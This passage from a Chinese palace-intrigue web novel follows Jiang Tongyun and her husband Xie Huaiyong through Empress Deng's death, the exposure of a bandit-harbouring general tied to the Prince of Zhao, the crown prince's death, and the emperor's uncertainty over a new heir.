吴王妃和赵王妃住得离宫城近,到得比姜同云要早,这会儿全都站在了里侧坐榻边上。见她过来,两人都稍稍欠身,算是打过了招呼。 可能是因为年前淮阳侯去世的缘故,赵王妃瞧着也憔悴了许多,一张小脸几乎不见什么血色。吴王妃看着倒没什么变化,但她这会儿也远不像往日那样有精神,垂着头一副蔫蔫的模样。 姜同云在她俩边上找了个空位站定。 不多时,以大公主为首的三位已经出嫁的公主也都进了暖阁里。 感受到椒房殿里压抑的氛围,所有人都只互相点头示意,没有发出多余的声音来。 隔着一层帷幔,姜同云看着外面忙忙碌碌行色匆匆的宫人们,突然想起三年前的那个端午,自己第一次进宫的时候,好像就是在这间暖阁里,邓皇后笑着给自己系上了一条长命缕。 姜同云下意识地在右臂里摸了一把。 那里当然已经没有长命缕了。 出神间,帷幔被人撩开,双眼通红的谢含昭走了进来。 太子妃上前拉住谢含昭,低声安抚了她几句。 谢含昭没有说话,只是轻轻点了点头,随后走到姜同云身边,垂着头一把抱住了她。 虽然小姑娘什么话都没说,但姜同云已经感受到了她内心的痛苦和无助。 深感言语苍白的姜同云只能搂住她,希望自己的温度能稍稍给谢含昭带去一点支撑。 暖阁里一片寂静,姜同云甚至能听见怀里谢含昭带着浓重鼻音的呼吸声。 隔着一层帘幔的里间里突然传出一声抽噎。随后这声抽噎就演变成了低低的啜泣声,并且不断有新的声音加入进来。 姜同云转过头去,这才发现放下的帘子里面似乎还有别的人在。 怀里的谢含昭已经抬起了头,皱着眉看向里面,轻声斥道:“母后还好着呢,她们做什么哭丧的模样!” 姜同云立刻反应过来,里间里站着的,大约是后宫妃嫔们。 眼见谢含昭大有一副要过去找她们理论的模样,姜同云连忙拉了她一把,安抚地在她肩膀上拍了两下。 不管怎么说,这些妃嫔到底都是谢含昭的庶母,她真跑去骂人是不占理的。 况且皇后娘娘现在情况不明,这边闹出什么动静也会影响到太医诊治。 站在门边的太子妃和姜同云对视一眼。 太子妃微微颔首,示意姜同云看住谢含昭,自己则打起帘子,进了里间。 也不知道太子妃说了些什么,里面的哭泣声很快地停了下来。 姜同云摸了摸谢含昭的发顶。 小姑娘扭过脸去,不肯再朝里间看。 暖阁里恢复了安静。 在一派刻意维持的寂静中,几人从白日高悬站到了日头西渐。 眼见窗外投进来的光影越拉越长,外面的光线也越发昏暗,姜同云刚想挪一挪站麻了的脚,忽然听得对面的卧房里似乎传来了些许响动。 她刚要凝神细听,已有一名宫人欢欣鼓舞地跑进了暖阁来报讯:“皇后娘娘醒了!” 暖阁里的众人骤然松了一口气。 姜同云推了推还没反应过来的谢含昭:“皇后娘娘醒了!” 谢含昭如梦初醒,一把擦掉溢出的眼泪,转身直接跑去了卧房。 太子妃也终于露出了些许笑意:“咱们也快过去看看吧。” 于是太子妃在前打头,掀开帷幔就朝卧房的方向走去。 姜同云出去的时候,瞥见里间的妃嫔们也走了出来。不过她们没走两步就被几名宫人拦了下来。 见宫人只拦了妃嫔却没拦她们,姜同云心里不免提了一下。但太子妃她们都已经走出去了,她也不好留在原地,只能跟着往前走。 守在卧房门口的宫人见是她们过来,连忙打起帘子,请她们进去。 一进卧房,姜同云就被扑面而来的浓郁味道压得一窒。 近乎密闭的房间里混杂着苦涩难闻的药味、烧得发焦的灯油味和隐隐的汗臭味,还有一股冬日里闷久了以后产生的、让人喘不上气的难言味道。 她废了好大的力气才克制住,没让自己抬手捂住鼻子。 走在她边上的吴王妃也紧紧地抿住了嘴唇。 这样的环境,她们身体健康的人尚且忍受不住,对皇后那样的身体虚弱的病人真的有益吗? 姜同云忍不住心里打突。 走到床前,几人刚要跪下行礼,却先被邓皇后拦住了:“都免礼吧。” 姜同云站直身子,不动声色地扫了一圈。 陛下正坐在床头的矮凳上,侧着身子跟邓皇后说话,大病初愈的太子就站在陛下身后,静静聆听;刚刚跑进来的谢含昭坐在床边,握着邓皇后的手又哭又笑;太医和侍奉的宫人则已经退至一旁。 而刚刚被救醒的邓皇后,被陛下、谢含昭还有床幔围着,姜同云没办法看真切她的情况。 虽然方才邓皇后的声音听起来没有异常,但不知道为什么,姜同云心里一直发沉。 焦虑之间,陛下朝她们招了招手:“都过来些,皇后要看看你们。” 于是几人又朝前走了两步。 这一次,姜同云终于看清楚了邓皇后的模样。 她此时正靠坐在床上,微笑着看向自己的女儿。 虽然她的额上还留着明显的汗渍,头发也凌乱的,但脸色竟然意外地好,不仅没有先前的痛苦和虚弱,反而还多了一抹非常明显的血色。 看着那抹异常的红晕,姜同云的心重重地坠了下去。 这分明……是回光返照。 这时, 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“怀雵他……”顿了顿,邓皇后还是没有把心中的嘱托说出口。她最终也只是看了太子一眼,随即轻叹一声,“过阵子就让他带你回婺州去吧。” ***** 姜同云呆呆地坐在漆黑的屋子里,摩挲着手腕上那只牡丹纹金镯。 这是邓皇后亲手套到她手上的。 虽然现在这只镯子已经完全染上了姜同云的体温,但当时手镯的冰凉温度和邓皇后指尖异常滚烫的体温仿佛还残留在她的手腕上,一回想起来,姜同云心里就忍不住跟着颤一下。 姜同云知道,皇后娘娘当时那句没有说出口的话里,藏的是想让谢怀雵支持太子的意思。 但她最后也没有用感情做筹码提出这样的要,反而只说让谢怀雵带姜同云回婺州去。 回婺州去,避开接下去金陵可能发生的风波。 即便到了这个时候,邓皇后都还是那个会为他们考虑的慈爱长辈。 姜同云想起她们离开前,自己朝着屋里看去的最后一眼。 那时的邓皇后正拉着太子和谢含昭,替他们整理鬓发。 太子沉默的神情和含昭难掩的高兴表情在她脑海里来回交替,最终定格在了邓皇后不舍的微笑上。 眼泪再也控制不住,颗颗滚落而下。 姜同云伏在桌面上,无声哭泣。 月落日升。 不知何时睡了过去,还在桌上趴了一夜的姜同云被一阵急促的敲门声唤醒。 她睁着一双红肿的眼睛望向窗外。 天色已经微微亮起。但隔着一层窗户,那些微的晨曦根本无法驱散屋里的黑暗。 姜同云揉了揉眼睛,起身过去开门。 门外的木樨被她狼狈的模样吓了一跳。但知道轻急缓重的她没有多问,而是扶住姜同云的手臂,又轻又急地说道: “宫里来报,皇后崩逝。” 腕上的手镯突然变得一片冰凉。 72. 山匪 谢怀雵赶回金陵时,邓皇后已经大殓完毕。 因陛下宣布罢朝十日以示哀悼,同时国中还要为皇后服丧27日,所以谢怀雵回来后没有赶着述职,而是先回了府里。 “……当天下午的情形就是如此了。之后我们就一起离了宫。次日一早,宫中传出了皇后娘娘崩逝的消息。”姜同云细细把那天的情况跟他描述了一遍。 连日赶路,让谢怀雵也显得憔悴了不少。 听着姜同云讲述那天下午发生的事情,他不禁回忆起过往在被养在邓皇后膝下时的种种,神色愈发黯然:“皇后娘娘……可还有什么遗言?” 听他问起这个,姜同云的鼻尖又忍不住开始发酸:“听说,皇后娘娘临终前曾恳请陛下,一应丧仪全部从简。还有,她求了陛下,让我们在丧仪结束后尽快返回封地。” “陛下全部都同意了。” “……还有吗?” 姜同云握住了谢怀雵的手,语调微颤:“皇后娘娘最后,是唤着太子和含昭的名字走的。” 姜同云当然能够理解,邓皇后心中对自己一双儿女的担忧。但即使是这样,邓皇后也没想让谢怀雵和姜同云留下来,反而还替他们求了陛下,让陛下同意放他们回封地去。 想到这里,姜同云的眼泪就忍不住流了下来。 谢怀雵反握住姜同云的手,慢慢平复下自己的心情:“……太子和含昭,现在如何?” “我前两日见过含昭。”说起谢含昭,姜同云也满是心疼,“她又瘦了好多。听照顾她的宫人说,她已经连着几日没有好好用饭了。” “我原想把她接出宫,带回咱们家来,以免她总是触景生情。但是含昭不肯,说要陪着皇后娘娘。” 这些天里,除了睡觉休息的时候,谢含昭一直都呆在停放了邓皇后棺椁的宫殿里。陛下担忧她出事,时常把她叫去陪自己用膳。但谢含昭只有陪着陛下的时候才会多吃一点,平时都只随意对付一口就算打发了一餐。 “至于太子那边……听说他又病了。” 太子本来就刚刚病愈,身体都没彻底好利索。如今骤然丧母,心情悲痛,加上连日守灵没法休息进食,故而在邓皇后大殓完毕后,他就又病倒了。 虽然陛下体恤,要太子好生休息,不过接下来的丧仪流程,太子是无法缺席的。姜同云估计,到时候他很有可能会拖着病体参加。 只是这么一弄,太子这病就不知道要折腾到什么时候去了。 谢怀雵点了点头:“我知道了。” 听到他的回答,姜同云一时有些怔愣:“你不担心太子那边吗?” 前段时间太子跟陛下之间发生的矛盾还未彻底解决。如今唯一有可能调和父子关系的邓皇后骤然离世,这更是给他们父子之间蒙上了一层阴翳。 怎么谢怀雵看着……倒不太在意的样子呢? 谢怀雵叹了口气:“担心也没用。太子那是心病,他自己想不通,别人再头疼也起不了作用。” “况且……皇后娘娘死前还尽力为陛下和太子铺了一次路。陛下哪怕只念着皇后娘娘的好,都会想要好好维系他和太子的关系的。” “你等着看吧,陛下应当很快就会疏远别的几个皇子,并想办法表明他对太子的认可了。” ***** 果然不出谢怀雵所料,邓皇后丧期尚未结束,陛下就先追封了邓皇后的父亲、已故的先梁国公为上柱国,同时还加赐了现任梁国公光禄大夫一衔。 三月,邓皇后的棺椁奉移圆寝之内,太子拖着病体主持了祭礼。 谢怀雵和姜同云随行参与。 丧仪结束后,陛下又额外加恩,给太子和太子妃那不满八岁的长女定了封号。虽因孝期未过,这位小郡主的册封典礼需延后再办,但她已经能享受到相应的食邑。能以这么小的年纪得授爵位,在越朝可以算得上是独一份的荣宠了。 陛下这一连串的举动,倒叫朝上一些原本蠢蠢欲动,想要让陛下尽快册立新后的人暂时按下了心思。 不过这些事情跟姜同云他们已经没有太大的关系了。 有邓皇后临终前的恳求在,丧仪结束后,陛下都不等谢怀雵主动开口,就痛痛快快地放他们夫妻俩回婺州去了。 接下来的消息,就只能靠着谢怀雵的门路,慢慢打听了。 五月底,太子再一次病倒。 六月,一些官员开始上书,恳请陛下尽快继立皇后,正位中宫。 听闻陛下当场大怒,不仅责罚了这几个上书的官员,还直接当朝言明,自己不会再立新后。 邓皇后崩逝后,陛下原本将后宫一应事务分给了几位年资久的高位妃嫔共同处理。谁知闹过这一出后,陛下竟然直接下旨夺了她们的分理权柄,将后宫内的所有事情都分派给了太子妃和楚国公主谢含昭来管。 陛下这么激烈的反应着实吓了朝臣们一跳。 见陛下态度如此坚决,再加上还有一位坚决捍卫太子地位的梁国公在一旁虎视眈眈,那一小部分人也只能按下心思,此后绝口不提立后一事,老实做人。 不过这件事,到底也是刺痛了陛下。 他总算是意识到,自己这些年有意的“磨炼”,居然让一部分人以为太子地位不稳了。 看起来老实巴交的吴王、在禁军之中愈发如鱼得水的赵王,还有两个正在长成的儿子……他的发妻一死,加上太子如今的身体状况实在不济,这些人就都开始蠢蠢欲动了。 陛下已经开始头疼,要如何遏制一下那几个由他一手捧起来跟太子竞争的儿子们了。 这一次,谢怀雵留在邢国夫人手上的东西,终于能派上用场了。 ***** 七月初,御史台上奏弹劾宣州驻军统领养匪自重。 宣州驻军统领的官职和关正青相同,负责训练当地驻军,同时有监管周围几处州府地方守军之权。 宣州城周围几处村镇里一直有匪患,且流窜速度很快。依制,地方守军不能离开本州太远,剿灭这种流匪难度较大。所以早几年,陛下就把剿匪的任务交给了这位孙姓统领来办。 这位孙将军剿匪的成效 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谢怀雵正在翻看由他自己那条特殊路子递回来的信息。闻言,他稍稍抬了抬头:“嗯。” 听到这过于平淡地语气,姜同云不由扭过头去看他。 见谢怀雵一副波澜不惊的样子,姜同云忍不住挑了挑眉:“你早就知道了?” “算是吧。” “什么叫‘算是吧’?”姜同云对他的回答并不满意,抓着谢怀雵的下巴把他的脑袋转了过来,对着自己,“你知道多久了?” 谢怀雵笑了:“夫人可还记得,咱俩在画舫上‘第一次见面’的时候?当时的夫人可是万般不愿提及此事的。” 画舫上,第一次见面? 听到这两个加了重音的关键词后,姜同云的回忆被快速触发。 她记得当时,自己是突然发现了谢怀雵齐王的身份,意识到她撞破了谢怀雵莫名出现在杭州的秘密,所以才一直装傻充愣,说他俩在画舫上才是初见。 所以…… “你当时去杭州就是为了查这件事?!”姜同云大感震惊,“这都快过去三年了吧!” “夫人救起我是在那年的三月,如今已是三年多了。”谢怀雵纠正道,“当时他们往杭州销了一部分赃,我过去就是为了顺着赃物往上追查的。” 谁料出了一点意外,他跟下属被察觉到的山匪们追下,意外之下分散开来。他跳入水中躲避,却因不熟悉水况,被河底暗流卷着撞上了什么东西,昏迷了过去。 幸亏当时姜同云把他钓了上来,不然谢怀雵一世英名,就这样葬送在一条河里了。 姜同云啧啧称奇:“你拿住证据这么久居然一直忍着没有揭发他?这可一点也不像你的性格。” 谢怀雵笑道:“那自然是因为,留着他还有别的用处啊。” “夫人可曾留意到,这位宣州驻军统领姓什么?” “孙?”姜同云顿了一顿,脑中灵光一闪,“他跟赵王有关系?” 73. 惩处 “没错。这位孙池孙将军,正是孙贤妃的族兄、现任广宁伯的堂兄弟。” 姜同云一时有些犹疑:“该不会……当年劫夺粮草的案子,还跟赵王有关系吧?” 谢怀雵笑了:“要是与赵王全然无关,那我也没必要留着此事到现在了。” 姜同云大惊失色:“赵王的胆子竟然有这么大?” “是不是由他指使不好说。不过这些年,孙池通过这些非法手段挣来的银子,确实有不少被送进了赵王府和孙贤妃宫中。”谢怀雵神情微冷,“要不是有这么一个生财的好路子,谢怀晟也没法一直维持他一掷千金的豪奢生活啊。” 姜同云立刻想起,谢含昭曾跟她提起过,赵王拥有一艘极大极豪华的画舫。 看来他能买下这样一艘船,靠的不单单只是陛下给的食邑和赏赐。 “无论如何,这件事谢怀晟是脱不了干系的了。”谢怀雵将手中通过秘密渠道送来的最新消息递给了姜同云,“现如今御史台和大理寺已经顺着山匪们提供的线索,查到了孙池和赵王之间的往来。这件事很快就会呈报至陛下案头了。” 姜同云接过谢怀雵递来的信纸,快速看了一遍。 看到信上所写,御史台已经在拟弹劾赵王的奏折,姜同云似有所悟:“你先前留着这个证据不放出去,就是为了抓准机会,一举扳倒赵王?” 谢怀雵点了点头:“要是放在前两年,陛下还存着利用赵王跟太子争斗的心思时,我若贸然掀开此事,一定会被陛下按下,暗中进行处理,绝不会有如今这样的效果。” “不止呢。”姜同云叹了口气,“要是让太子知道,赵王明明犯了过错,却还能被陛下包庇宽宥,他心里一定会更加不好受。” “正是如此。所以我才一直按着这些证据。” “但如今时局大改。皇后娘娘崩逝,陛下有意加重太子分量、削弱其余皇子的权势。如今再把这些证据拿出来,也算是在陛下最需要的时候给他递上了足够的把柄。” “这才叫‘打蛇打七寸’。” ***** 没出几日,御史台就赵王收受贿赂、生活奢靡、包庇亲族等罪,上书弹劾。 奏折递到陛下书案上后,陛下一时很是犹豫。 邓皇后仙逝后,太子就像是被抽掉了主心骨,一时之间小病小灾不断。 前头太子病后,陛下曾亲至东宫探望过他。看着原本温文尔雅、文质彬彬的长子,如今病得几乎形销骨立,陛下的心痛之情几乎无法言表。 那到底是他所拥有的第一个孩子啊。 太子出生在陛下地位最不稳定的时候。他的降生可以说是给陛下带来了尤为关键的助力。此后在太子成长的过程里,当时尚未登基的陛下也有相当多的空余时间可以参与其中。 陛下还记得,太子四岁开蒙的时候,自己把那还是小小一团的孩子抱在膝上,握着他的手教他写名字的情形。 虽然陛下后来有了更多的孩子,但没一个是像太子那样,曾由他亲自教养过。 尽管太子长大成人后,陛下对他的性情并不太满意。但不管怎么说,他与太子之间的父子情分,总归还是特殊一些的。 而且,病中的太子,更是勾起了陛下对于发妻的怀念。 邓皇后与陛下是少年夫妻,且当年是一起从先帝晚年的风雨中携手过来的。纵使这么多年下来,两人之前的情爱已然消散,但夫妻之情犹在。 这么多年来,邓皇后一直尽善尽美地履行着身为皇后的职责,为陛下生儿育女、打理后宫,从未有过疏漏。即使是在临终之前,她也始终记挂着陛下的声名,主动要求丧仪从简。 这样的夫妻情分,在邓皇后亡故后,最终汇集到了她的一双儿女身上。 在陛下对亡妻的愧疚和怀念之情被时间消磨殆尽以前,他一定是会好好照顾太子和谢含昭的。 所以陛下才会连番恩赏太子和梁国公府,还明言自己不会再立皇后。他所做的一切,都只是想要让太子感到安心。 在意识到自己先前的作为所为的确是在动摇太子的储君之位后,陛下原本确实是想找两个小错,夺了其他儿子们的职务,等过完年后就把已经成年封王的这些个儿子全部打发去封地,以安太子的心。 然而真当罪名切切实实地摆在他面前时,陛下又有些于心不忍了。 因为赵王的脾性更对陛下的胃口,加上他一向很会讨好卖乖,所以陛下对这个儿子,一直都是有几分偏爱在的。 以如今赵王所犯的罪名,真要追究起来,削爵大概率是逃不掉的。 但削爵这样的惩罚,对这个一向骄傲的儿子来说,是不是有点太过了? 陛下拿着御史台上奏的奏折,翻来覆去看了好多遍,一直没能下定决心。 直到他的贴身内监来报,说太子近来忧思过重,以致病情似乎又有加重,陛下才终于做出了抉择。 ***** 经过两个多月的连番调查后,有关宣州驻军统领孙池养匪自重、收受贿赂、指使山匪劫夺粮草的案子终于做出了最终裁定。 作为这些案件的主使,孙池自然逃不过去。不仅其本人被褫夺了官身,下狱候斩,他的两个有官职在身的儿子也面临着削官流放的命运,余下的妻妾子嗣各有判罚。 除此之外,广宁伯和宫里的孙贤妃也一样受到了牵连。因有约束族人不当之罪,广宁伯被贬了官,孙贤妃也被罚在宫中闭门思过。 赵王也没能逃过去。 针对他的弹劾奏折递交给陛下后,在朝上确实引起了一些争论。 虽然御史台掌握了赵王在孙池那里收受贿赂的实证,但没有其他证据能够证明,孙池所犯的罪行与赵王本人有关。所以在赵王极力否认,并在陛下面前几番为自己哭诉求情的情况下,陛下也只夺了他在禁军中的职位,给了罚奉禁闭这样的惩罚。 对于这样的惩罚,以梁国公为首的一派人自然是不太满意的。 按照大越律法,赵王怎么也该被降一降爵位、改一改封号和封地啊。如今陛下只是这样不痛不痒地小惩大诫,怎么能让连番忙了好几个月的他们感到满意呢? 不过因为证据是邢国夫人拿出来给梁国公的。有邢国夫人这一位德高望重的老太太压着,梁国公也只能不情不愿地收了手。 与梁国公那边的低迷不同,吴王倒是觉得挺开心的。 这些年来,赵王仗着自己更受陛下宠爱,平时也没少给其他兄弟气受。 后头两个弟弟 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姜同云忍不住“啧”了两声:“陛下总想着两全其美,却不知道他这样做会让别人受多少委屈。” “是呢。”谢怀雵听出了姜同云话里的意思,忍不住叹了口气,“前阵子送来的密报里说,太子入冬后又因伤风,小病了一回。” 姜同云听得直摇头:“这样下去,就是铁打的身子也熬不住啊。” “等忍过了这阵子,应该就能好了。”谢怀雵也颇为无奈,“依陛下的性情,既然都收回了其余皇子手中的职权,那以后应当也不会再让他们接触朝政了。只要太子能稳住这一阵,那后续就无人与他相争了。” 姜同云想了想:“我倒不担心太子,以他的性格,总不会在这个时候落井下石的。但梁国公那边……” 就怕梁国公忍不下这口气,非要继续惩罚赵王,那搞不好会激起陛下的护短心和叛逆心,把如今好不容易铺垫出来的局面彻底破坏。 谢怀雵笑了:“这我倒是不太担心。事情都这么久了,也没见梁国公有什么动静,可见是邢国夫人发力,按住了他。” “要相信邢国夫人。有她老人家出马,不怕梁国公想不开,再翻起什么波浪来。” 听到这话,姜同云也忍不住笑了:“幸亏你当时找了个好帮手。” 谢怀雵抽走了她手里的邸报:“夫人别管那些事情了。你的账本我一个人真的看不完,还请夫人发发善心,也一起来看看吧。” 姜同云连连摇头:“咱们可说好了的。上回你让我帮忙一起看齐王府的账本,这次你就得帮我看杭州的账。我上回帮你看的可比这些多多了。” 见姜同云不上当,谢怀雵刚垮下脸来,想试试撒娇耍赖的法子,房门却被敲响了。 “殿下,王妃,有金陵来的急报。” 听到是急报,谢怀雵无奈,只能先下榻过去开门。 姜同云扶着坐榻探出头去,却见拆开信件的谢怀雵已然眉头紧锁。 她心里不由一紧,连忙问道:“什么事啊?” 谢怀雵抬头看向她,眼中是姜同云从未见过的茫然之色:“……太子昨夜因病殁于东宫。” 74. 思虑 三日后,朝廷正式宣布了太子病故的消息。 谢怀雵在收到正式消息后的第一时间内,递交了申请回京的奏折。 然而他的折子和其他在外王侯的一样,石沉大海了。 金陵。 此时的皇城被一种诡异的肃穆氛围包裹着。 太子的骤然离世对陛下造成了非常严重的打击。他将自己关在紫宸殿里不肯见人,来求见的无论是朝臣还是妃嫔,全都被他拒之门外。 紫宸殿里伺候的宫人们往来之间大气都不敢出一个。 这些天里,陛下已经因为各种各样的小错发落了许多宫人。谁也不知道自己会不会因为运气不好就成为下一个撞到他枪口上的倒霉蛋,所以众人行事时只能愈加小心。 紫宸殿门外的丹陛之下,跪了一整排的朝臣。 他们都是来劝说陛下出门主持大局的。 看陛下这些天的表现,朝臣们心里当然清楚他有多么悲痛。要不是事出有因,谁也不想在这个时候来触陛下的霉头。 可是自太子大殓后,他的棺椁已经停放了四日有余。虽然现在天气已经变冷,短时间内还不用担心气味的问题,但有关太子丧仪的事情,总要有人出来安排。 跪在前排的梁国公这段时间也是备受内心痛苦的折磨。 邓皇后和太子接连过世,他们邓家无疑是遭受损失最大的一方。但梁国公心中再痛苦,也知道要以国事朝局为重。如今国无储君,要是陛下也就此一蹶不振,那对他们大越来说才是真正的灾难临头。 为了家国天下考虑,梁国公才强忍痛苦,跟着朝臣们一道来此劝说陛下。 见朝臣们都只是跪拜,却无一人敢冒头出来说话。梁国公毅然起身,决定由他来先起这个头。 他刚上前两步,却见已有许久没见的外甥女提着食盒走到了紫宸殿外。 看着又憔悴了许多的谢含昭,梁国公不由想起自己的逝去妹妹和外甥,纵是刚毅如他,也不免眼眶发热。 站在紫宸殿门外的谢含昭也看见了自己的舅舅。 如今还在掌管后宫事务的谢含昭自然早就从宫人那里听到了朝臣们聚集在紫宸殿外准备一起劝说陛下的消息。 但谢含昭清楚地知道,她的父皇这些天究竟有多么容易动怒。 生怕朝臣们说了什么不好听的再触怒陛下,以至于酿成一些无可挽回的悲剧,谢含昭连忙要人准备了一些餐食,亲自往紫宸殿跑了一趟。 看梁国公起身上前,一副准备开口的模样,谢含昭朝着他静默地摇了摇头。 梁国公看懂了她的暗示,停下了继续前进的脚步。 眼见今年才刚刚及笄的外甥女伸手要去敲门,梁国公惊得上前一步—— 他如何不知道,陛下这些天借着各种奇怪的由头,罚了好多宫人,以此来转移内心悲痛。今天愿意来此劝说的朝臣,哪一个不是抱着必死的决心? 他们食君之禄,自当为大越殚精竭虑。可谢含昭才多大?劝说君王这样的任务,无论如何也不该由她一个小姑娘来承担啊! 梁国公刚要出口阻拦,提着食盒的谢含昭似有所感地回过身,又朝着他轻轻摇了摇头。 看清谢含昭眼里地坚决,梁国公最终还是没有开口,主动退后一步。 他看着谢含昭敲响了紫宸殿的门,随后推门而入。 ***** 谢含昭提着食盒,走进了阴暗昏沉的紫宸殿内。 因为陛下这些天不愿见光,宫人们不敢点亮殿内烛火,只留了几盏小灯充作照明。本就幽深的殿宇之内,因为缺少光照,显得愈发黑沉。 昏暗的书案后,陛下独自一人依靠在宽大的座椅上,就着一盏细小的烛花,摩挲着手中的物品。 听到脚步声,他疲惫地摆了摆手:“朕还不想用膳。” 就着昏黄的火光,谢含昭看清了多日未见的陛下。 往日高大威严的父皇,竟在几日间瘦得身形伶仃。灯火的映照下,谢含昭还看到了他鬓角上几缕明显的银丝。 看着明显苍老许多的父亲,谢含昭鼻尖一酸,放下手中食盒,直直跪了下去:“父皇!” 听到这声带着哭腔的呼唤,陛下终于抬起头来。 见是自己的小女儿,陛下紧皱的眉头不由一松。 是啊。他这些天一直躲在紫宸殿里试图逃避现实,却忘了身边还有一个人跟自己承受着同样的痛苦。 自己在一年内失去了互相扶持多年的发妻和寄予厚望的长子,含昭何尝不是失去了一直疼爱她的母亲和能够保护她的兄长呢。 想到这里,陛下心中甚是酸楚,抬手招了招:“含昭,到父皇这儿来。” 谢含昭站起身来,小跑两步,扑进陛下怀里。 抱着自己的父亲,竭力克制多日、从不敢让自己松懈软弱的谢含昭终于敢放声哭泣。 听见她的哭声,陛下也克制不住,抚着女儿的发顶流下泪来。 父女俩黑暗的殿宇之内,共同发泄着失去至亲的巨大哀痛。 良久之后,谢含昭终于止住泪水。 她抬起头来,噙着余泪看向陛下:“含昭知道父皇心中悲痛。但为了大越江山,为了黎民百姓,还请父皇保重身体,用些餐食吧。” 望着含泪的女儿,陛下终于点头:“……好。” 谢含昭打开食盒,将带来的食物摆上书案。父女俩就着些微灯火,用完了沉默的一餐。 饭后,陛下突然开口询问: “那些朝臣们,是不是还跪在外面。” 谢含昭点了点头:“父皇要召见他们吗?” 陛下苦笑道:“朕知道他们想劝什么。可朕真的不想……” 不想,也不敢去面对太子已死这个可怕的现实。 谢含昭明白他话中未竟的意思。 如果可以选的话,谢含昭也不想面对这个事实。 但她更清楚,如果陛下再继续这样沉浸在悲痛之中,一定会出现更多的乱子。 这些天,后宫里已经闹出来不少的事端了。 几位高位妃嫔在陛下那里受了气后,变着法地折腾宫人撒气。原本太子妃还能压制住她们的气焰,但太子突然亡故后,太子妃的地位一下 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见完朝臣,安排好太子丧仪的一应事务后,陛下挥退群臣,独自坐在书案前,开始思索后续事宜。 能够继承大统的太子已死,他总要开始考虑接下来立谁为储了。 陛下子嗣不丰,可真要再做选择,也不是那么容易的事情。 余下的四个儿子都非嫡子,地位上倒没有太大的差别。 老三吴王,实在是过于平庸,毫无才干。若是天下一统,那在有贤臣辅助的情况下由他来继承江山,倒也不怕出什么岔子。可是现在北边还有个晋朝虎视眈眈,把皇位交给吴王,陛下实在是放心不下。 老五赵王倒是有些能力。但即使陛下对他多有偏爱,也不得不承认他的性情过于急躁且不能容人,不像是个好料子。况且赵王前段时间才因为孙池的案件受了罚,要是立他为储,恐怕不能服众。 老六卫王,其实是有些像太子的。他性格比较温和,平日里喜好书画,虽然算不得多有实干才华,但胜在为人恭谨,从没犯过什么大错。只是卫王的硬伤也很明显——他的生母家世实在太差,加上他年纪小,要是由他继承宝座,可以想见以后一定会受人挟制。 最后是最小的七皇子。他和四公主一母同胞。虽然从平日的课业来看,这是个聪明伶俐的孩子,但他今年也才刚满十三,年岁实在太小。 若是放宽人选,太子膝下其实还有两个儿子。其中长子更是由太子妃所生,论身份地位都十分够格。但陛下的这个长孙年纪比七皇子还小,今年才刚十岁。 要是在两年前,尚未经历丧妻丧子之痛的陛下可能还对自己的寿数很是乐观。可如今遭遇连番打击之后,陛下骤然发现,他的身子居然开始变得虚弱了。 现在的陛下,已经没有信心认为,他能有足够的时间再去从小培养一个合格的继承人了。 想到这里,陛下握着他赐给太子的玉佩,忍不住再次流下泪来。 75. 照旧 太子的丧仪正式开展后不久,身在婺州的谢怀雵收到了陛下自金陵发回的旨意。 圣旨上明言,太子骤然逝世,陛下乃至朝中大臣们都万分痛惜。陛下虽然知道远在封地的诸位王侯一样为此伤痛,但为了维持朝局稳定,王侯们应当在这紧要关头守好各自的封地,切勿让有心之人钻了空子。 读完旨意,谢怀雵半是遗憾半是轻松地吐了一口气。 他曾被养在邓皇后膝下,跟太子之间的感情自然要比别的几位皇子都更好一些。如今太子骤然离世,谢怀雵心中伤痛只怕要比太子的那些兄弟们更甚。 此番无法回京送太子最后一程,谢怀雵难免会感到悲伤遗憾。 但抛开个人情感来说,谢怀雵在这封圣旨中读出了一些还算不错的信息来。 “看来陛下对新任储君的人选尚有犹豫啊。” 听他这么说,姜同云不由挑高眉毛:“此话怎讲?” 接到太子病故的消息后,除了心疼远在金陵的谢含昭和太子妃,姜同云心里还多了一层难言的忧虑。 她怕太子倒下之后,最终受益的会是赵王。 毕竟在余下的几名皇子之中,陛下一向最是偏宠赵王。在失去长子的情况下,陛下在已经成年的皇子中选一个自己喜欢的儿子来继承皇位是合乎情理的。 历史上,多的是皇帝想法设法为自己的爱子上位铺路呢,何况陛下现在再立储君完全是名正言顺的。 可赵王跟她、谢怀雵、谢含昭,甚至还有已故的太子,全都有过节。 要是真让赵王成为储君,哪怕碍于陛下,赵王一时半会不能动这些令他讨厌的人,那等陛下百年之后,掌握了至高权力的赵王如何不会对他们下手呢? 到时候,他们还会有安慰的日子过吗? 怀揣着这样的忧虑,姜同云已经好几天都没能睡好觉了。 现在听谢怀雵说陛下对储君人选还有犹豫,姜同云甚至都觉得这还真是一个好消息呢。 谢怀雵收起书信:“陛下不让在封地的王侯们回京,恐怕就是不想在他做出决定之前,让这些尚在考察期的皇子们得到来自宗室的额外助力。” “接下来,就看陛下会不会让余下两个尚未正式参与朝政的皇子进入朝堂。”说到这里,谢怀雵停顿了一下,“等等。先前发下的邸报里没有提到,太子妃和东宫的遗孤们如何安置的事情?” 姜同云回忆了一下,摇头道:“并无有关消息。” 谢怀雵若有所思:“那陛下很有可能会把太子的两个儿子也纳入储君人选的考量中去。” “我们去封信给含昭,想办法从她那里了解一下东宫目前的状况!” ***** 关于太子妃及其子女们的安置问题,谢含昭写来的回信里只简单写了一句—— “父皇要求一切如旧。” 一切如旧,就是让太子妃和那几个孩子照旧住在东宫、照旧享受先前的待遇。 收到谢含昭的这封回信后,姜同云终于松下了一口气。 陛下还愿意为太子妃和几个孩子保留太子在时的待遇,那就说明陛下在短时间内都没有立储的打算。而且这也从侧面印证了谢怀雵的猜测——陛下可能确实有意将太子的两个儿子也纳入储君人选之中去。 其实仔细想一想,那位由太子妃生下的、陛下的长孙,除了年纪略小之外,别的地方都不比其余皇子逊色。 论出身,他的母亲系出名门;论支持,他天然就能继承一大部分太子遗留下来的资源。 更重要的是,论起感情,陛下不可能不把对亡妻和长子的感情转移寄托到这个孩子的身上。 而在抛开这些客观因素后,姜同云私心里也是更希望能由太子的后人继承皇位。 一方面,太子妃一直以来都对她照顾有加。如果她的孩子能够成为下一任皇帝,那太子妃的将来才算有了保障。否则不管换了谁继位,太子妃都会陷入一个十分尴尬的地步,甚至如果运气不好,新帝不够宽容,太子妃往后的日子都要不好过的。 另一方面,如果是太子的后嗣继位,以太子和太子妃的性情来看,谢怀雵和姜同云夫妻俩以后遭遇刁难的可能性也会更小一些。 想到这里,姜同云忍不住合十双掌,对着天空拜了两拜:拜托了,一定要争争气,把你那几个叔叔全部比下去啊! 